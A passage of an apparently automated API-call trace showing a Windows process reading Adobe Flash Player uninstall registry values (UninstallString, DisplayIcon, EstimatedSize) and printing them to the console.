lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.985] __iob_func () returned 0x7fefd702a80 [0148.985] _fileno (_File=0x7fefd702ab0) returned 1 [0148.985] _errno () returned 0x204bb0 [0148.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.985] _errno () returned 0x204bb0 [0148.985] GetFileType (hFile=0x50) returned 0x1 [0148.985] lstrlenW (lpString=" ") returned 4 [0148.985] GetConsoleOutputCP () returned 0x1b5 [0148.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.985] GetConsoleOutputCP () returned 0x1b5 [0148.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.986] __iob_func () returned 0x7fefd702a80 [0148.986] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.986] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x3") returned 3 [0148.986] _fileno (_File=0x7fefd702ab0) returned 1 [0148.986] _errno () returned 0x204bb0 [0148.986] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.986] _errno () returned 0x204bb0 [0148.986] GetFileType (hFile=0x50) returned 0x1 [0148.986] lstrlenW (lpString="0x3") returned 3 [0148.986] GetConsoleOutputCP () returned 0x1b5 [0148.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.986] GetConsoleOutputCP () returned 0x1b5 [0148.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3", lpUsedDefaultChar=0x0) returned 3 [0148.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.986] __iob_func () returned 0x7fefd702a80 [0148.986] _fileno (_File=0x7fefd702ab0) returned 1 [0148.986] _errno () returned 0x204bb0 [0148.986] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.986] _errno () returned 0x204bb0 [0148.986] GetFileType (hFile=0x50) returned 0x1 [0148.986] lstrlenW (lpString="\n") returned 1 [0148.986] GetConsoleOutputCP () returned 0x1b5 [0148.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.987] GetConsoleOutputCP () returned 0x1b5 [0148.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.987] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.987] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.987] GetProcessHeap () returned 0x3c0000 [0148.987] GetProcessHeap () returned 0x3c0000 [0148.987] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.987] GetProcessHeap () returned 0x3c0000 [0148.987] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.987] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.987] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.987] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0148.987] GetProcessHeap () returned 0x3c0000 [0148.987] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3dce60 [0148.987] GetProcessHeap () returned 0x3c0000 [0148.987] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce60) returned 1 [0148.988] GetProcessHeap () returned 0x3c0000 [0148.988] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce60) returned 0x9e [0148.988] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dce60, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", pcbData=0x29f780*=0x9a) returned 0x0 [0148.988] __iob_func () returned 0x7fefd702a80 [0148.988] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.988] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.988] _fileno (_File=0x7fefd702ab0) returned 1 [0148.988] _errno () returned 0x204bb0 [0148.988] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.988] _errno () returned 0x204bb0 [0148.988] GetFileType (hFile=0x50) returned 0x1 [0148.988] lstrlenW (lpString=" ") returned 4 [0148.988] GetConsoleOutputCP () returned 0x1b5 [0148.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.988] GetConsoleOutputCP () returned 0x1b5 [0148.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.988] lstrlenW (lpString="UninstallString") returned 15 [0148.988] __iob_func () returned 0x7fefd702a80 [0148.988] _fileno (_File=0x7fefd702ab0) returned 1 [0148.988] _errno () returned 0x204bb0 [0148.988] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.988] _errno () returned 0x204bb0 [0148.988] GetFileType (hFile=0x50) returned 0x1 [0148.988] lstrlenW (lpString="UninstallString") returned 15 [0148.988] GetConsoleOutputCP () returned 0x1b5 [0148.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.989] GetConsoleOutputCP () returned 0x1b5 [0148.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0148.989] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.989] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.989] __iob_func () returned 0x7fefd702a80 [0148.989] _fileno (_File=0x7fefd702ab0) returned 1 [0148.989] _errno () returned 0x204bb0 [0148.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.989] _errno () returned 0x204bb0 [0148.989] GetFileType (hFile=0x50) returned 0x1 [0148.989] lstrlenW (lpString=" ") returned 4 [0148.989] GetConsoleOutputCP () returned 0x1b5 [0148.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.989] GetConsoleOutputCP () returned 0x1b5 [0148.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.989] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.989] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.989] __iob_func () returned 0x7fefd702a80 [0148.989] _fileno (_File=0x7fefd702ab0) returned 1 [0148.989] _errno () returned 0x204bb0 [0148.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.989] _errno () returned 0x204bb0 [0148.990] GetFileType (hFile=0x50) returned 0x1 [0148.990] lstrlenW (lpString="REG_SZ") returned 6 [0148.990] GetConsoleOutputCP () returned 0x1b5 [0148.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.990] GetConsoleOutputCP () returned 0x1b5 [0148.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.990] __iob_func () returned 0x7fefd702a80 [0148.990] _fileno (_File=0x7fefd702ab0) returned 1 [0148.990] _errno () returned 0x204bb0 [0148.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.990] _errno () returned 0x204bb0 [0148.990] GetFileType (hFile=0x50) returned 0x1 [0148.990] lstrlenW (lpString=" ") returned 4 [0148.990] GetConsoleOutputCP () returned 0x1b5 [0148.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.990] GetConsoleOutputCP () returned 0x1b5 [0148.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.991] __iob_func () returned 0x7fefd702a80 [0148.991] _fileno (_File=0x7fefd702ab0) returned 1 [0148.991] _errno () returned 0x204bb0 [0148.991] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.991] _errno () returned 0x204bb0 [0148.991] GetFileType (hFile=0x50) returned 0x1 [0148.991] lstrlenW (lpString="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin") returned 76 [0148.991] GetConsoleOutputCP () returned 0x1b5 [0148.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0148.991] GetConsoleOutputCP () returned 0x1b5 [0148.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpUsedDefaultChar=0x0) returned 76 [0148.991] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0148.991] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.991] __iob_func () returned 0x7fefd702a80 [0148.991] _fileno (_File=0x7fefd702ab0) returned 1 [0148.991] _errno () returned 0x204bb0 [0148.991] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.991] _errno () returned 0x204bb0 [0148.991] GetFileType (hFile=0x50) returned 0x1 [0148.991] lstrlenW (lpString="\n") returned 1 [0148.991] GetConsoleOutputCP () returned 0x1b5 [0148.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.991] GetConsoleOutputCP () returned 0x1b5 [0148.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.992] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.992] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.992] GetProcessHeap () returned 0x3c0000 [0148.992] GetProcessHeap () returned 0x3c0000 [0148.992] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce60) returned 1 [0148.992] GetProcessHeap () returned 0x3c0000 [0148.992] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce60) returned 0x9e [0148.992] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce60 | out: hHeap=0x3c0000) returned 1 [0148.992] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.992] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7a) returned 0x0 [0148.992] GetProcessHeap () returned 0x3c0000 [0148.992] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7c) returned 0x3db830 [0148.992] GetProcessHeap () returned 0x3c0000 [0148.992] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.992] GetProcessHeap () returned 0x3c0000 [0148.992] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7c [0148.992] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7a | out: pdwType=0x29f700*=0x1, pvData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe", pcbData=0x29f780*=0x78) returned 0x0 [0148.992] __iob_func () returned 0x7fefd702a80 [0148.992] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.992] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.992] _fileno (_File=0x7fefd702ab0) returned 1 [0148.992] _errno () returned 0x204bb0 [0148.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.992] _errno () returned 0x204bb0 [0148.992] GetFileType (hFile=0x50) returned 0x1 [0148.992] lstrlenW (lpString=" ") returned 4 [0148.992] GetConsoleOutputCP () returned 0x1b5 [0148.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.992] GetConsoleOutputCP () returned 0x1b5 [0148.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.993] lstrlenW (lpString="DisplayIcon") returned 11 [0148.993] __iob_func () returned 0x7fefd702a80 [0148.993] _fileno (_File=0x7fefd702ab0) returned 1 [0148.993] _errno () returned 0x204bb0 [0148.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.993] _errno () returned 0x204bb0 [0148.993] GetFileType (hFile=0x50) returned 0x1 [0148.993] lstrlenW (lpString="DisplayIcon") returned 11 [0148.993] GetConsoleOutputCP () returned 0x1b5 [0148.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.993] GetConsoleOutputCP () returned 0x1b5 [0148.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0148.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.993] __iob_func () returned 0x7fefd702a80 [0148.993] _fileno (_File=0x7fefd702ab0) returned 1 [0148.993] _errno () returned 0x204bb0 [0148.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.993] _errno () returned 0x204bb0 [0148.993] GetFileType (hFile=0x50) returned 0x1 [0148.993] lstrlenW (lpString=" ") returned 4 [0148.993] GetConsoleOutputCP () returned 0x1b5 [0148.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.993] GetConsoleOutputCP () returned 0x1b5 [0148.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.994] __iob_func () returned 0x7fefd702a80 [0148.994] _fileno (_File=0x7fefd702ab0) returned 1 [0148.994] _errno () returned 0x204bb0 [0148.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.994] _errno () returned 0x204bb0 [0148.994] GetFileType (hFile=0x50) returned 0x1 [0148.994] lstrlenW (lpString="REG_SZ") returned 6 [0148.994] GetConsoleOutputCP () returned 0x1b5 [0148.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.994] GetConsoleOutputCP () returned 0x1b5 [0148.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.994] __iob_func () returned 0x7fefd702a80 [0148.994] _fileno (_File=0x7fefd702ab0) returned 1 [0148.994] _errno () returned 0x204bb0 [0148.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.994] _errno () returned 0x204bb0 [0148.994] GetFileType (hFile=0x50) returned 0x1 [0148.994] lstrlenW (lpString=" ") returned 4 [0148.995] GetConsoleOutputCP () returned 0x1b5 [0148.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.995] GetConsoleOutputCP () returned 0x1b5 [0148.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.995] __iob_func () returned 0x7fefd702a80 [0148.995] _fileno (_File=0x7fefd702ab0) returned 1 [0148.995] _errno () returned 0x204bb0 [0148.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.995] _errno () returned 0x204bb0 [0148.995] GetFileType (hFile=0x50) returned 0x1 [0148.995] lstrlenW (lpString="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe") returned 59 [0148.995] GetConsoleOutputCP () returned 0x1b5 [0148.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0148.995] GetConsoleOutputCP () returned 0x1b5 [0148.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe", cchWideChar=59, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe", lpUsedDefaultChar=0x0) returned 59 [0148.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 59 [0148.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.995] __iob_func () returned 0x7fefd702a80 [0148.995] _fileno (_File=0x7fefd702ab0) returned 1 [0148.995] _errno () returned 0x204bb0 [0148.996] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.996] _errno () returned 0x204bb0 [0148.996] GetFileType (hFile=0x50) returned 0x1 [0148.996] lstrlenW (lpString="\n") returned 1 [0148.996] GetConsoleOutputCP () returned 0x1b5 [0148.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.996] GetConsoleOutputCP () returned 0x1b5 [0148.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.996] GetProcessHeap () returned 0x3c0000 [0148.996] GetProcessHeap () returned 0x3c0000 [0148.996] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.996] GetProcessHeap () returned 0x3c0000 [0148.996] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7c [0148.996] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.996] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.996] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0148.996] GetProcessHeap () returned 0x3c0000 [0148.996] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3db830 [0148.996] GetProcessHeap () returned 0x3c0000 [0148.996] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.996] GetProcessHeap () returned 0x3c0000 [0148.996] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.996] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3db830*=0x1800, pcbData=0x29f780*=0x4) returned 0x0 [0148.996] __iob_func () returned 0x7fefd702a80 [0148.996] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.997] _vsnwprintf (in: 